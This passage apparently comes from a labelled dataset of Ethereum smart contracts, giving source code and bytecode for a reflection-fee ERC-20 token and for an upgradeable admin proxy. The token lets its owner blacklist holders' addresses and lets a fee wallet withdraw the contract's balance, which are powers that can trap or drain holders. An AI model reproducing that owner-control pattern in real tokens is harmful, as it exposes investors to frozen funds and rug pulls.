i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rReflect, tReflect); emit Transfer(sender, recipient, tTransferAmount); } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate); return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam); } function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tReflect = tAmount.mul(reflectFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam); return (tTransferAmount, tReflect, tTeam); } function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rReflect = tReflect.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam); return (rAmount, rTransferAmount, rReflect); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf91461049f578063d94160e0146104b4578063dd62ed3e146104e4578063f42938901461052a57600080fd5b8063b515566a1461043f578063c02466681461045f578063c0a904a21461047f57600080fd5b8063715018a61461037d57806381bfdcca1461039257806389f425e7146103b25780638da5cb5b146103d257806395d89b41146103f0578063a9059cbb1461041f57600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102ed5780635932ead11461031d578063677daa571461033d57806370a082311461035d57600080fd5b8063313ce5671461028457806349bd5a5e146102a057806351bc3c85146102d857600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f657806318160ddd1461022657806323b872dd14610242578063273123b71461026257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b5060408051808201909152600a81526947656e69757320496e7560b01b60208201525b6040516101b19190611d05565b34801561020257600080fd5b50610216610211366004611b96565b61053f565b60405190151581526020016101b1565b34801561023257600080fd5b50683635c9adc5dea000006101a7565b34801561024e57600080fd5b5061021661025d366004611b29565b610556565b34801561026e57600080fd5b5061028261027d366004611ab9565b6105bf565b005b34801561029057600080fd5b50604051600981526020016101b1565b3480156102ac57600080fd5b506011546102c0906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e457600080fd5b50610282610613565b3480156102f957600080fd5b50610216610308366004611ab9565b60056020526000908152604090205460ff1681565b34801561032957600080fd5b50610282610338366004611c88565b61064c565b34801561034957600080fd5b50610282610358366004611cc0565b610694565b34801561036957600080fd5b506101a7610378366004611ab9565b6106c3565b34801561038957600080fd5b506102826106e5565b34801561039e57600080fd5b506102826103ad366004611cc0565b610759565b3480156103be57600080fd5b506102826103cd366004611cc0565b610788565b3480156103de57600080fd5b506000546001600160a01b03166102c0565b3480156103fc57600080fd5b5060408051808201909152600681526547454e49555360d01b60208201526101e9565b34801561042b57600080fd5b5061021661043a366004611b96565b6107b7565b34801561044b57600080fd5b5061028261045a366004611bc1565b6107c4565b34801561046b57600080fd5b5061028261047a366004611b69565b610868565b34801561048b57600080fd5b5061028261049a366004611b69565b6108bd565b3480156104ab57600080fd5b50610282610912565b3480156104c057600080fd5b506102166104cf366004611ab9565b60066020526000908152604090205460ff1681565b3480156104f057600080fd5b506101a76104ff366004611af1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053657600080fd5b50610282610cfd565b600061054c338484610d27565b5060015b92915050565b6000610563848484610e4b565b6105b584336105b085604051806060016040528060288152602001611ed6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611291565b610d27565b5060019392505050565b6000546001600160a01b031633146105f25760405162461bcd60e51b81526004016105e990611d58565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063357600080fd5b600061063e306106c3565b9050610649816112cb565b50565b6000546001600160a01b031633146106765760405162461bcd60e51b81526004016105e990611d58565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106be5760405162461bcd60e51b81526004016105e990611d58565b601255565b6001600160a01b03811660009081526002602052604081205461055090611470565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105e990611d58565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107835760405162461bcd60e51b81526004016105e990611d58565b601355565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016105e990611d58565b600b55565b600061054c338484610e4b565b6000546001600160a01b031633146107ee5760405162461bcd60e51b81526004016105e990611d58565b60005b81518110156108645760016007600084848151811061082057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085c81611e6b565b9150506107f1565b5050565b6000546001600160a01b031633146108925760405162461bcd60e51b81526004016105e990611d58565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e75760405162461bcd60e51b81526004016105e990611d58565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b81526004016105e990611d58565b601154600160a01b900460ff16156109965760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105e9565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109d33082683635c9adc5dea00000610d27565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0c57600080fd5b505afa158015610a20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a449190611ad5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8c57600080fd5b505afa158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac49190611ad5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0c57600080fd5b505af1158015610b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b449190611ad5565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610ba8816106c3565b600080610bbd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c2057600080fd5b505af1158015610c34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c599190611cd8565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc557600080fd5b505af1158015610cd9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108649190611ca4565b600e546001600160a01b0316336001600160a01b031614610d1d57600080fd5b47610649816114f4565b6001600160a01b038316610d895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e9565b6001600160a01b038216610dea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eaf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e9565b6001600160a01b038216610f115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e9565b80610f1b846106c3565b1015610f785760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105e9565b6000546001600160a01b03848116911614801590610fa457506000546001600160a01b03838116911614155b15611281576001600160a01b03831660009081526007602052604090205460ff16158015610feb57506001600160a01b03821660009081526007602052604090205460ff16155b610ff457600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104d57506011546001600160a01b03848116911614801561104d57506001600160a01b03821660009081526006602052604090205460ff16155b156110ba576012548111156110ba5760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105e9565b6001600160a01b03821660009081526006602052604090205460ff1661115357601354816110e7846106c3565b6110f19190611dfd565b11156111535760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105e9565b6011546001600160a01b03848116911614801561117e57506010546001600160a01b03838116911614155b80156111a357506001600160a01b03821660009081526005602052604090205460ff16155b80156111b85750601154600160b81b900460ff165b15611206576001600160a01b03821660009081526008602052604090205442116111e157600080fd5b6111ec42603c611dfd565b6001600160a01b0383166000908152600860205260409020555b6000611211306106c3565b601154909150600160a81b900460ff1615801561123c57506011546001600160a01b03858116911614155b80156112515750601154600160b01b900460ff165b801561125f5750600b548110155b1561127f5761126d816112cb565b47801561127d5761127d476114f4565b505b505b61128c838383611579565b505050565b600081848411156112b55760405162461bcd60e51b81526004016105e99190611d05565b5060006112c28486611e54565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137557600080fd5b505afa158015611389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ad9190611ad5565b816001815181106113ce57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f49130911684610d27565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d8d565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e9565b60006114e1611584565b90506114ed83826115a7565b9392505050565b600e546001600160a01b03166108fc61150e8360026115a7565b6040518115909202916000818181858888f19350505050158015611536573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6115518360026115a7565b6040518115909202916000818181858888f19350505050158015610864573d6000803e3d6000fd5b61128c8383836115e9565b60008060006115916117a9565b90925090506115a082826115a7565b9250505090565b60006114ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117eb565b6000806000806000806115fb87611819565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162d9087611876565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167857506001600160a01b03881660009081526005602052604090205460ff165b15611701576001600160a01b0388166000908152600260205260409020546116a090876118b8565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f4908b815260200190565b60405180910390a361179e565b6001600160a01b03881660009081526002602052604090205461172490866118b8565b6001600160a01b03891660009081526002602052604090205561174681611917565b6117508483611961565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179591815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c582826115a7565b8210156117e257505060095492683635c9adc5dea0000092509050565b90939092509050565b6000818361180c5760405162461bcd60e51b81526004016105e99190611d05565b5060006112c28486611e15565b60008060008060008060008060006118368a600c54600d54611985565b9250925092506000611846611584565b905060008060006118598e8787876119da565b919e509c509a509598509396509194505050505091939550919395565b60006114ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611291565b6000806118c58385611dfd565b9050838110156114ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e9565b6000611921611584565b9050600061192f8383611a2a565b3060009081526002602052604090205490915061194c90826118b8565b30600090815260026020526040902055505050565b60095461196e9083611876565b600955600a5461197e90826118b8565b600a555050565b600080808061199f60646119998989611a2a565b906115a7565b905060006119b260646119998a89611a2a565b905060006119ca826119c48b86611876565b90611876565b9992985090965090945050505050565b60008080806119e98886611a2a565b905060006119f78887611a2a565b90506000611a058888611a2a565b90506000611a17826119c48686611876565b939b939a50919850919650505050505050565b600082611a3957506000610550565b6000611a458385611e35565b905082611a528583611e15565b146114ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e9565b8035611ab481611eb2565b919050565b600060208284031215611aca578081fd5b81356114ed81611eb2565b600060208284031215611ae6578081fd5b81516114ed81611eb2565b60008060408385031215611b03578081fd5b8235611b0e81611eb2565b91506020830135611b1e81611eb2565b809150509250929050565b600080600060608486031215611b3d578081fd5b8335611b4881611eb2565b92506020840135611b5881611eb2565b929592945050506040919091013590565b60008060408385031215611b7b578182fd5b8235611b8681611eb2565b91506020830135611b1e81611ec7565b60008060408385031215611ba8578182fd5b8235611bb381611eb2565b946020939093013593505050565b60006020808385031215611bd3578182fd5b823567ffffffffffffffff80821115611bea578384fd5b818501915085601f830112611bfd578384fd5b813581811115611c0f57611c0f611e9c565b8060051b604051601f19603f83011681018181108582111715611c3457611c34611e9c565b604052828152858101935084860182860187018a1015611c52578788fd5b8795505b83861015611c7b57611c6781611aa9565b855260019590950194938601938601611c56565b5098975050505050505050565b600060208284031215611c99578081fd5b81356114ed81611ec7565b600060208284031215611cb5578081fd5b81516114ed81611ec7565b600060208284031215611cd1578081fd5b5035919050565b600080600060608486031215611cec578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d3157858101830151858201604001528201611d15565b81811115611d425783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ddc5784516001600160a01b031683529383019391830191600101611db7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1057611e10611e86565b500190565b600082611e3057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e4f57611e4f611e86565b500290565b600082821015611e6657611e66611e86565b500390565b6000600019821415611e7f57611e7f611e86565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064957600080fd5b801515811461064957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b017f05ac1c227d2c671bdfc969d88795ac0bc9574ef0837ca92e9333ca58abf64736f6c63430008040033
[ 13, 5, 11 ]
0xf27a5f67c52f14b3df403aa8cb5bae59a3f726ed
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './UpgradeabilityProxy.sol'; /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Proxy.sol'; import '@openzeppelin/contracts/utils/Address.sol'; /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100675780634f1ef286146100b85780635c60da1b146101515780638f283970146101a8578063f851a440146101f95761005d565b3661005d5761005b610250565b005b610065610250565b005b34801561007357600080fd5b506100b66004803603602081101561008a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061026a565b005b61014f600480360360408110156100ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561010b57600080fd5b82018360208201111561011d57600080fd5b8035906020019184600183028401116401000000008311171561013f57600080fd5b90919293919293905050506102bf565b005b34801561015d57600080fd5b50610166610395565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101b457600080fd5b506101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ed565b005b34801561020557600080fd5b5061020e610566565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102586105d1565b610268610263610667565b610698565b565b6102726106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102b3576102ae816106ef565b6102bc565b6102bb610250565b5b50565b6102c76106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561038757610303836106ef565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d806000811461036e576040519150601f19603f3d011682016040523d82523d6000602084013e610373565b606091505b505090508061038157600080fd5b50610390565b61038f610250565b5b505050565b600061039f6106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103e1576103da610667565b90506103ea565b6103e9610250565b5b90565b6103f56106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561055a57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156104ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061082f6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebf